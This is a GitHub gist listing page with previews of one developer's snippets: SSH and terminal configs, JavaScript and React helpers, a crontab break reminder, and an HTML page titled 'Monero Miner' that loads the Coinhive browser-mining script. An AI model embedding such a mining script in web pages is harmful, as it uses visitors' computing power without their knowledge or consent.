Skip to content

Instantly share code, notes, and snippets.

View qzm's full-sized avatar
🚀
I may be slow to respond.

Aaron Qiu qzm

🚀
I may be slow to respond.
View GitHub Profile
@qzm
qzm / ssh_config
Last active May 4, 2019 07:35
DevelopServer
# Read more about SSH config files: https://linux.die.net/man/5/ssh_config
Host DevelopServer
HostName hostname
User root
IdentityFile ~/.ssh/id_rsa
LocalForward 127.0.0.1:8000 127.0.0.1:8000
LocalForward 127.0.0.1:8080 127.0.0.1:8080
#!/bin/bash
echo -e "\n"
clear
echo -e "\n"
echo "---------------------------------------------------------------------------------------------------------------------"
echo -e "\033[33m Welcome to Desktop environment and Remote connection tool ! V2.0.2 \033[0m"
echo "System requirements: CentOS 7+ / Debian 9+ / Ubuntu 18.04+ New installation"
echo -e "\033[33m This shell is for the system: Ubuntu 18.04+, if you need to run on other systems, please refer to the following tutorial. \033[0m"
echo "[Original] One-click installation of Desktop environment, RDP, Windows support for Linux"
@qzm
qzm / .hyper.js
Last active April 19, 2019 06:35
hyper.js config
// Future versions of Hyper may add additional config options,
// which will not automatically be merged into this file.
// See https://hyper.is#cfg for all currently supported options.
module.exports = {
config: {
// choose either `'stable'` for receiving highly polished,
// or `'canary'` for less polished but more frequent updates
updateChannel: 'stable',
@qzm
qzm / example.ipynb
Created March 18, 2019 02:44
example.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@qzm
qzm / copyKeyDeep.js
Last active December 4, 2018 03:12
复制树形结构里面的key值(纯函数),保留原来的key值
/**
* 复制树形结构里面的key值(纯函数),保留原来的key值
*
* @export
* @param {Array} src 源
* @param {String} childrenIndex children 的 index
* @param {String} souceKey 原来的key
* @param {String} distKey 替换之后的key
* @returns
@qzm
qzm / flattenObjectListDeep.js
Created November 29, 2018 08:23
扁平化对象数组
/**
* 扁平化对象数组
*
* @param {Number} orginArray 原始数组
* @param {Number} childrenIndex 子数组的index
* @param {Number} removeChildren 是否删除children
* @return {Array} 数组
*/
export const flattenObjectListDeep = (orginArray, childrenIndex, removeChildren = true) => {
const flatArray = [];
@qzm
qzm / Component.js
Created July 23, 2018 02:11
React setStateAsync change thunk to promise
import { Component as OriginComponent } from 'react';
export default class Component extends OriginComponent {
setStateAsync(nextState) {
return new Promise((resolve, reject) => {
try {
this.setState(nextState, resolve);
} catch (error) {
reject(error);
}
@qzm
qzm / rest
Created July 11, 2018 03:43
Mac休息提示
*/45 * * * * osascript -e 'display notification "XXX,你已经工作了40分钟,休息5分钟吧" with title "该休息了"' && sleep 3 && /System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend
@qzm
qzm / miner.html
Last active June 23, 2018 12:21
Monero Miner
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Miner</title>
</head>
<body>
<script type="text/javascript" src="https://coinhive.com/lib/coinhive.min.js"></script>
@qzm
qzm / .gitignore
Last active February 3, 2021 09:21
.yarnrc fo Chinese developer
node_modules/